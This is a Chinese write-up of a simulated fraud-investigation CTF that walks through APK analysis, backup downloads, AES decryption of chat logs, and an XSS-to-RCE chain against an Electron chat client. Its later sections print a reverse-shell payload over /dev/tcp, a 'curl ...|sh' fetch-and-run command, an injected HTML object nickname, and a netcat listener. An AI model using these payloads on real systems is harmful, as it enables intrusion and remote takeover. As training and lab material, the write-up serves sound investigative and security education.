复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

WriteUp 3周前 admin
24 0 0

 写在前言 


本期是由【圣地亚哥皮蛋厂】战队队长【马珺】分享的复盘思路,也是本次赛事复盘的最后一篇稿件了,在参与斟茶王者过程中,他对出题意图进行层层剖析,充分展现出其在案件研判方面超乎寻常的专业水准,并且他语言幽默,风格别具一格。


作者说:终于有一次赶上了比赛当天能看一看题目了,当天和小伙伴熬夜通宵做题的感觉彷佛回到了大学时代,简单(luolibasuo)的重新写一写走过的坑,年纪大了不适合搞案子了,模拟练练找找好久之前的感觉,本篇WP作为圣地亚哥皮蛋厂,将尽可能从案件整体和技术侦破的视角来看看题目的内容和案件剧情的安排。


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺




 赛事题目 


1、资金初探


分析收取受害人资金的一级卡转账记录,统计其下级卡中接收受害人资金最多的账户

首先认真看完案情介绍后,摘出关键词再去看本题的答案要求:

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

得到case.docx   也就是案情笔录

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


进行线索提取:




1.这里报案人是受害人的弟弟 叫王吉 306502297916925791  18200003333

  身份证_号码以“360502”开头的属于中国江西省新余市渝水区,不知道有没有用,先留在这里

2.里面还有一个APP下载地址 https://openai.wenxinyiyandu.com/download

3.南河商业银行  姐姐的银行卡 NH1750702295235155 转账¥200000到NH1787538591224642

转账时间是2024年7月16日12点23分


在这里面能提取的要素就这些,下面根据第三条线索里的“一级卡”去模拟调证,得到银行流水文件:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


再看看第一题的题目要求:“统计其下级卡中接收受害人资金最多的账户”


简简单单一个数据透视表,这里唯一一个不需要说的基础点就是我发现有同事竟然不了解“借贷”标志位,这里还有一个需要注意的点,统计求和需要使用的字段是金额而不是余额,因为题目要求的是接收受害人资金最多的账户


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


第一题结论:数据透视表能解决的东西就不需要硬上I2了


2、运气爆棚


意外从其中一张银行卡6226*******6978927中找到了线索。(用重明查一下看看,也许有意想不到的收获,请以搜索结果中的涉案群组ID作为答案)

第二题结论:没什么好说的一道题,实战很有意义,难度也不大,系统练习题


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

3、黑词大闯关


请启动下方的网站,帮助林风通过入群验证

第三题结论:挺有创意的,毕竟有些群就是得验证+黑话哈哈


这里解释一下上押,太费劲了,还得翻笔记,不找了,长期浸泡一线的案件民警肯定明白,(神秘出题人辅助提示:上押即在担保平台交押金 ),这题有bug,我很确信的一部分选项在群里勘误了,二哥回复特别快,点赞。


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


这题是模拟环境,真实环境需要TG账号等一系列环境,不细说了,也是基础操作。


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

没想到把入群机器人检测验证改成了黑灰话测试,也很有意思,毕竟想和嫌疑人“打成一片”就是需要对上路子

–“宝塔震河妖”


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


答对四道题,进入群聊:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

4、转移阵地


分析这个二维码,以二维码包含的链接末尾路径作为答案

第四题结论:看到这个界面一惊,还以为后面要考IPA呢,吓我一跳


这题其实可以优化,毕竟现在的apk分发都会检测user-agent头,可以尝试根据浏览器更改不同的user-agent头去下载不同的安装包(神秘出题人:建议很好,下期考虑采纳)


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


朴实无华的二维码解析结果:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


https://scene-47cziqjhf6ykdovj-appdownload-3000.zhigeng09.toolmao.com/FEJXUUM04OT4


其实题目到这就出来了:FEJXUUM04OT4


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


5、躲猫猫


分析这个APP,锁定其API接口地址的获取地址,以获取地址的TOKEN作为答案

第五题结论:没有结论… 看起来这个像是要搞事情,因为这个不是常见的SDK,自动化分析软件出不来调证信息,考的就是手工活


云真机?我没用过啊,也没有权限啊:(神秘出题人:打个小广告,云真机操作台实时操作分析APP网络请求、SDK信息,支持Frida、实时日志。初次申请可免费试用一周!)


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


那就只能抓包和静态分析看看了,本以为要抓包,结果惯性先看AndroidManifest.xml的时候:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


https://scene-47cziqjhf6ykdovj-oss-3000.zhigeng09.toolmao.com/20240710.txt?token=8C15XKYTLA25


在看这个地方的时候,平时也习惯了多看看SDK

结果有两个东西也同时引起了我的兴趣,先摘出来放在这


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


<meta-data android:name="com.nosugar.chatapp.key" android:value="COMFH9BFBVM1AXO2B6D7DT07RH7Q9O9V"/><meta-data android:name="com.xingguang.PUSHSDK.appKey" android:value="XGI6WGLQVPMJUO6B"/>


6、新的猫


找到新的API请求地址,以地址的末尾路径作为答案

第六题结论:有点做ctf-misc-隐写类型题目的感觉


前提:


https://scene-47cziqjhf6ykdovj-oss-3000.zhigeng09.toolmao.com/20240710.txt?token=8C15XKYTLA25


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


那么我们先拆解一下这个请求:

https://scene-47cziqjhf6ykdovj-oss-3000.zhigeng09.toolmao.com/20240710.txt?token=8C15XKYTLA25


复习一下,这个条请求里面四个颜色我标注出来的分析是 域名 路径 查询参数


如果你还是不懂,那我只好祭出来这张图了:

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

来源:无糖浏览器-知更-知识树


域名不能改,参数不好爆破,那还能哪能改,你说哪能改?还剩哪啊,答案就呼之欲出了,包括oss对象存储服务都是细节,对,没错,就是20240710.txt,实战中,其实遇到过嫌疑人顺着子域名编号诈骗的情况,这里我猜是日期。


那么本着先手测再抓包的手法,试试看:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

404有戏,后面大家就都知道了,凡是带=号的我都得怀疑一下是不是base64,毕竟这是我当初认识的第一个编码


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


坑点:有乱码,根据base64的编码规则,“=”号就是结尾和补充用的,所以有的工具解不出来,把等于后面删掉就可以了


5fa https://scene-47cziqjhf6ykdovj-teleframadmin-3000.zhigeng09.toolmao.com/?flag=R257VXQKKCR0


引用:

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


7、藏起来的钥匙


解包Telefram APP,找找看有没有新的线索,比如SDK。

第七题结论:这题好就好在,自动化做不出来必须手动静态分析,考察路径


这里的hint都提到了SDK,不用考虑了,直接把上面AndroidManifest.xml看到的SDK填充试试


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


8、拔萝卜


结合模拟调证,向星光推送的运营公司进行调证,以Telefram的开发者联系邮箱作为答案

深圳市星光科讯信息技术有限公司


重新回到案子的题目和内容上看看:首先受害人的弟弟是王吉,和主办民警刚好认识,又在SDK的公司工作


事已至此,先调证吧


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


邮箱有了,答案就有了


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺



9、开门开门


分析新的API请求地址,找到Telefram的后台访问地址并获取登录权限。


打开base64解密出来的网站:


https://scene-o6i2mq3ejkml2q52-teleframadmin-3000.zhigeng09.toolmao.com/


https://scene-j2vr723vksxcfuk7-teleframadmin-3000.zhigeng09.toolmao.com/


https://scene-v9erbmgm894iiiuf-teleframadmin-3000.zhigeng09.toolmao.com/


……. 讲真,一个小时一重置真的挺麻烦的(神秘出题人:哈哈哈,九九八十一难,怎么不算一难呢?)


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


打开调证文件:这题确实是我想多了,我潜意识感觉要对手机号进行进一步的调证或者分析,结果发现密码就是手机号


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


这题其实除了密码组合爆破以外,还可以考虑结合burp的插件进行验证码组合爆破会更有意思的


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


10、人真不少


聊天用户中最后登录IP为67.98.23.12的聊天用户数量

进入后台,下意识先看看有没有文件上传点,很遗憾,无!


这要根据题目要求一个个数得数到明年吧?导出也只支持1000条,再看看


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


这里先讲第一种方法:直接写脚本爬取:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


#coding:utf-8import requests
 ll = []    for i in range(1,251):url = 'https://scene-j2vr723vksxcfuk7-teleframadmin-3000.zhigeng09.toolmao.com/api/chater/list?current=' + str(i) + '&pageSize=100'headers = {"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoibHFjZnVndXQiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIyMjU3NjM3LCJleHAiOjE3MjIyNjk2Mzd9.zHFkeIKhC4Hct6BY_va9Jk6SpKfQxsvtk2ia9I3MDtw"}r = requests.get(url=url,headers=headers,verify=False)ll = ll + eval(r.content)["data"]print i
f = open('1.txt','ab')f.write(str(ll))f.close()#Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoibHFjZnVndXQiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIyMjU3NjM3LCJleHAiOjE3MjIyNjk2Mzd9.zHFkeIKhC4Hct6BY_va9Jk6SpKfQxsvtk2ia9I3MDtw


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


11、数据拖拉机


帮林风找到办法获取聊天消息内容,以聊天消息中的FLAG作为答案

注:如答到本题的用户,请刷新一下界面,重新生成一次镜像文件。


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺



出题人给的提示有点明显,肯定不是无的放矢的:

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺



备份成功:backups/backup-1722252017550.sql

测试看看,在FindSomething上找到了很多东西:

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺




复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺



上面导出的功能上,看看发包,果然有个导出的接口,结合前面的备份文件还要路径尝试导出sql文件

(这里提供了backups的路径其实降低难度了)



复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺



backups/backup-1722307971479.sqI

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


备份文件导出成功,记录Request请求,另存为文件,并根据其mysql的版本启动服务通过navicat导入查看

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺



GET /api/download?filePath=backups/backup-1722307971479.sql HTTP/1.1Host: scene-bl5nesuy2664nxbn-teleframadmin-3000.zhigeng09.toolmao.comSec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"Accept: application/json, text/plain, */*Sec-Ch-Ua-Mobile: ?0Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoibHFjZnVndXQiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIyMzA3NDcwLCJleHAiOjE3MjIzMTk0NzB9.gbCC6GOihyjzkzSgGjYZX4OWsNEqsN_wqFx0u-DMfzwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://scene-bl5nesuy2664nxbn-teleframadmin-3000.zhigeng09.toolmao.com/chatUsersAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Priority: u=1, iConnection: close


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


下载body,改名查看数据库版本,可以高于但不能低否则会报错,并起服务:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


导入navicat查看


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


搜索cipher,很容易找到AES


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


从源码中确认是AES,少密钥Key和IV,查看对密钥的使用方法


String key = getKey(context);String substring = key.substring(0, 16);Intrinsics.checkNotNullExpressionValue(substring, "substring(...)");byte[] bytes = substring.getBytes(Charsets.UTF_8);Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)");String substring2 = key.substring(16, key.length());Intrinsics.checkNotNullExpressionValue(substring2, "substring(...)");byte[] bytes2 = substring2.getBytes(Charsets.UTF_8);Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);


密钥灯下黑,还是这里:

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


<meta-data android:name="com.nosugar.chatapp.key" android:value="COMFH9BFBVM1AXO2B6D7DT07RH7Q9O9V"/>  <meta-data android:name="com.xingguang.PUSHSDK.appKey" android:value="XGI6WGLQVPMJUO6B"/>


第一条的name,”com.nosugar.chatapp.key”,重点在于chatapp,聊天软件,再看看密钥的格式,解密试试看,先保存message字段到2.txt


#coding:utf-8
import base64from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad
def get_key():    return "COMFH9BFBVM1AXO2B6D7DT07RH7Q9O9V"
def decrypt(encoded_content):    key = get_key()
   if len(key) != 32:        raise ValueError("Key length must be 32 characters.")
   aes_key = key[:16].encode('utf-8')
   iv = key[16:].encode('utf-8')
   cipher = AES.new(aes_key, AES.MODE_CBC, iv)
   encrypted_data = base64.b64decode(encoded_content)
   decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
   return decrypted_data.decode('utf-8')

f = open('2.txt','rb')lines = f.readlines()for i in lines:    #print(i)    decrypted_text = decrypt(i)    print(f"Decrypted Text: {decrypted_text}")


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


第二条就是flag,然后让我们看看他们在聊什么(这里就不放置全部聊天记录啦,自行答题观看哦)


12、动物乐园


分析该群聊中的各个角色身份,锁定承担财务和洗钱职责的人员的用户名。

这里注意,需要的是用户名而不是代号,根据聊天内容 浣熊负责财务  chartID是22094


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


13、黑蛇白了


根据最新的群内消息,判断黑蛇死亡地所在市和区的名称

生成镜像后,上边的步骤再来一遍,聊天内容出现了一些有趣的东西


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


image://uploads/7azgKgaQfto55VWnaR.png


直接用burpsuit得到响应包后直接show response也能够看得到图片,但是肯定不如原件好看,这里另存为和下载body方法不太好用,用了脚本


#coding:utf-8
import requests
 # url = 'https://scene-hjmbnxvsjpiu92aa-teleframadmin-3000.zhigeng08.toolmao.com/api/chater/list?current='1'&pageSize=100'll = []
# for i in range(1,251):url = 'https://scene-r6jjh098f9276sm7-teleframadminafter-3000.zhigeng09.toolmao.com/api/download?filePath=uploads/7azgKgaQfto55VWnaR.png'headers = {"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoibHFjZnVndXQiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIxMDQxNDg5LCJleHAiOjE3MjEwNTM0ODl9.4d-HWe9xY1aKCjEeEh-PhSevKvOIRfVhoMb7eTsMglM"}r = requests.get(url=url,headers=headers,verify=False)# ll = ll + eval(r.content)["data"]# print i
f = open('tupian.png','ab')f.write(r.content)f.close()


打开图片:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


这张图图侦的同志们应该能好好发挥一下,能看出来的地方,沃尔玛和ktv,旁边类似警用摩托车的版型

这里用了两种办法:


第一种:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


第二种:以图搜图


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺



14、秘上加谜


分析查找镜像内容中的可能线索。

生成的镜像里有两个文件

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

先打开卷宗.docx,另一个是pc镜像


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


这个地方侧面证明了上一题答案的正确性


都在武汉江夏区,但好像不是一个地方


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


卷宗中包含以下几个东西:

1.《案件卷宗》

2.《询问笔录》

3.《尸检报告》

4.《死者随身物品清单》

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

来源-斟茶王者案件报告(部分截图)


回到正题:三个flag:


1.路径见图,我猜出题人想考察的是对于电子数据取证中对虚拟币钱包的私钥key的注意力?


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


2.路径同见图,CTF-MISC-隐写术的典型题目,看到蒙娜丽莎的图片我还以为考的是改文件头或者图片高度之类的,结果zip直出


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


3.第三个flag难找,也是最有用的一个flag,前面还带着最后一个域名的访问地址


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


15、悄悄潜入


尝试登录黑蛇的聊天软件,通过静默的方式获取浣熊的聊天客户端权限

https://scene-79k2onzcxd4682lt-snakepc-3000.zhigeng09.toolmao.com/


模拟案件当中,全篇最难的一道题了,通过chats.txt 下载专用的聊天工具:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


先对聊天软件进行分析,Electron,很“典型”/


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


十四题的第三个flag的路径其实提了一个醒,把maicha的内容替换到了我本地的缓存,可以不登陆即可上线,但是没有聊天内容,明显不对


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


根据000047.log 文件内容:


file:// chatUrl8scene-79k2onzcxd4682lt-final-3000.zhigeng09.toolmao.com(.|,2 -          _x0012__file:// password58FXVJITUVAZ7ZAIf_x0005_鸑( .          _x0012__file:// username snakeB



https://scene-xu5mg742ykoqs31n-snakepc-3000.zhigeng09.toolmao.com/


⽣成的题⽬url中snakepc的改为final,还有08和09有时也需要修改


https://scene-xu5mg742ykoqs31n-final-3000.zhigeng09.toolmao.com/


https://scene-ats7vmfep3tf6x2d-final-3000.zhigeng09.toolmao.com


https://scene-sxaajtnbtf0nb5f3-final-3000.zhigeng09.toolmao.com/user/login


username snakeB


password58FXVJITUVAZ7ZAI


成功登录,根据静默的要求下,只有昵称地方可以,其他地方x都会直接被发现


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

在修改⽤户名的地⽅发现过滤了script等很多关键词,所以猜测这里应该是xss⼊⼝


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


笔记里的都不行,换一个思路,重新看聊天软件的东西,关键目录文件…../resources/app.asar/preload.js


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


7.zip+插件7zAsar对app.asar进行解压 :插件下载地址:https://www.tc4shell.com/en/7zip/asar/


preload.js:非常明显的命令执行,有点打菠菜的时候的感觉


// preload.jsvar cp = require("child_process");window.chatClientApi = {  execCommand:function(N,cmd){    switch(N){      case 1818:        cp.exec(cmd);        break;      case 1919:        console.log("hello");        break;      default:        console.log("execCommand "+N+" ok");    }  }}// All the Node.js APIs are available in the preload process.// It has the same sandbox as a Chrome extension.window.addEventListener('DOMContentLoaded', () => {  const replaceText = (selector, text) => {    const element = document.getElementById(selector)    if (element) element.innerText = text  }
 for (const dependency of ['chrome', 'node', 'electron']) {    replaceText(`${dependency}-version`, process.versions[dependency])  }})


main.js中nodeIntegration设置为false,就不可以通过require(‘child_process’)来执⾏命令


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


基于这些信息:撰写rce.htm,扔进服务器去自建路径/NoSugar


<!DOCTYPE html><html lang="en">  <head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Background Image Example</title>    <style>      .background-div {        width: 300px; /* 设置宽度 */        height: 200px; /* 设置高度 */        background-image: url(''http://x.x.x.x:8888/flagIS666'');        background-size: cover; /* 使背景图像覆盖整个div */        background-position: center; /* 背景图像居中 */      }    </style>  </head>  <body>    <div class="background-div"></div>    <script>this.parent.chatClientApi.execCommand(1818, 'bash -c "bash -i >& /dev/tcp/X.X.X.X/9527 0>&1"');</script>  </body></html>


在自己的服务器开放http服务


python3 -m http.server 8888 --directory /NoSugar


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


PS:这里别忘了在防火墙,添加规则,放开相应的端口


监听相应端口等待回弹shell:nc -lvnp 9527


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


接着昵称修改时候的网络包


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


POST /api/chat/edit HTTP/1.1Accept: application/json, text/plain, */*Accept-Encoding: gzip, deflate, brAccept-Language: zh-CNAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MjIwMTYsInVzZXJuYW1lIjoic25ha2VCIiwiYWNjZXNzIjoiY2hhdGVyIiwiaWF0IjoxNzIyMzM2NTI1LCJleHAiOjE3MjIzNDg1MjV9.oLpCNuBMOcHRbeT6pKI6dmMySrA1WZtXYHFG6sFfNSAConnection: keep-aliveContent-Length: 19Content-Type: application/jsonHost: scene-sxaajtnbtf0nb5f3-final-3000.zhigeng09.toolmao.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) maicha/1.0.2 Chrome/126.0.6478.127 Electron/31.2.0 Safari/537.36sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"{nickname: "2222222"}{"nickname":"<object type="text/html" data="http://X.X.X.X:8888/rce.htm">"}


重新发包:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


回显结果:


HTTP/1.1 201 CreatedServer: nginx/1.25.2Date: Tue, 30 Jul 2024 10:58:33 GMTContent-Type: application/json; charset=utf-8Connection: keep-aliveX-Powered-By: ExpressETag: W/"a2-ol+Na1kwSsjyJmqKsq8+jEv5GFg"Content-Length: 162
{"statusCode":201,"message":"Success","data":{"id":22016,"username":"snakeB","nickname":"<object type="text/html" data="http://X.X.X.X:8888/rce.htm">"}}


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


之后在apiconfig.js找的flag


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


参考:

XSS注入测试思路+通用语句 :https://www.cnblogs.com/xfbk/p/17936998


听老外讲解如何将XSS转化为RCE:https://mp.weixin.qq.com/s/VHEeVZMh-uUaLQaB6MWU4g


Electorn 审计入门:https://mp.weixin.qq.com/s/RYJZ6JkdvIkpR5tzj8ktdA


CVE-2018-1000136:Electron nodeIntegration 绕过漏洞:https://mp.weixin.qq.com/s/CxqAme2KzGmpjX_ajMXs-Q


Windows客户端漏洞挖掘(红队角度):

https://mp.weixin.qq.com/s/oIm6syTuLFmCmvk3Axaz4w


PS:

这里其实有个坑点

为什么中间这道题卡了很久,一直弹不回来,原因在这:


window.chatClientApi.execCommand(1818, ‘bash -c “bash -i >& /dev/tcp/X.X.X.X:9527 0>&1″‘);


this.parent.chatClientApi.execCommand(1818, ‘bash -c “bash -i >& /dev/tcp/X.X.X.X:9527 0>&1″‘


它是在当前窗口的父级对象(可能是一个包含多个框架或对象的环境)中执行 chatClientApi 的 execCommand 方法。这种方式通常用于嵌套框架或对象结构中。


这两条命令在功能上是相同的,都是尝试在目标系统上建立一个反向 shell 连接。它们的区别仅在于命令所在的上下文环境:


第一条命令:

window.chatClientApi.execCommand(1818, ‘bash -c “bash -i >& /dev/tcp/X.X.X.X:9527 0>&1″‘);


这条命令是在当前窗口(window 对象)的 chatClientApi 上执行 execCommand 方法。通常,这种方式适用于直接在当前浏览器窗口的 JavaScript 环境中执行命令。


第二条命令:

this.parent.chatClientApi.execCommand(1818, ‘bash -c “bash -i >& /dev/tcp/X.X.X.X:9527 0>&1″‘);


这条命令使用了 this.parent,意味着它是在当前窗口的父级对象(可能是一个包含多个框架或对象的环境)中执行 chatClientApi 的 execCommand 方法。这种方式通常用于嵌套框架或对象结构中。

总结:

这两条命令实现的功能相同,但是执行上的上下文环境略有不同,取决于它们所在的 JavaScript 对象或框架结构。


16、谁是凶手


所有的案件信息都已提供,请找到本案中的所有嫌疑人的身份证号码作为答案

这题算是争议最大的一道题,赛后和战友们回顾的时候也是讨论了许久


首先第一个嫌疑人:黑蛇弘强国的身份毋庸置疑,聊天记录是佐证

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


第二个身份信息:受害人的弟弟 王吉


这是一个非常关注案情,天天打电话给主办民警的人,和涉案app调用的推送SDK公司有关:深圳市星光科讯信息技术有限公司,从公司的管理数据中找到了新的后台地址,黑蛇一死,王吉就跑路回深圳了,这些都只能说可疑,还缺点决定性的东西,本以为调证平台里的手机号功能会有大用,但就像那个excel里隐藏的flag一样,好像也没用。


可能还有遗漏的线索,这里确定留有遗憾,等回头无糖的老师讲复现课的时候着重听一听


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


第三个身份信息没什么好说的,无糖勘察大赛祖传sfz.png,我记得去年也考这个点了


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


这里有三个方法把sfz.png 粘贴出来


1.base64 sfz.png


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


https://www.lddgo.net/convert/base64-to-image


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


第二个办法是Platypus


介绍:https://cloud.tencent.com/developer/article/1906510


项目地址:https://github.com/WangYihang/Platypus


对方的服务器没有nc无法回传,那就想个办法,使用platypus,首先本地先赋权运行:


Platypus_linux_amd64


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


修改rce.htm执⾏命令的那部分,或者干脆新建platypus.htm,命令执行修改为:


this.parent.chatClientApi.execCommand(1818, 'curl http://x.x.x.x:13338/|sh')


<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Background Image Example</title>    <style>        .background-div {            width: 300px; /* 设置宽度 */            height: 200px; /* 设置高度 */            background-image: url(''http://x.x.x.x:8888/flagIS666'');            background-size: cover; /* 使背景图像覆盖整个div */            background-position: center; /* 背景图像居中 */        }    </style></head><body>    <div class="background-div"></div>    <script>this.parent.chatClientApi.execCommand(1818, 'curl http://X.X.X.X:13338/|sh');</script></body></html>


发包端修改,并发包:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


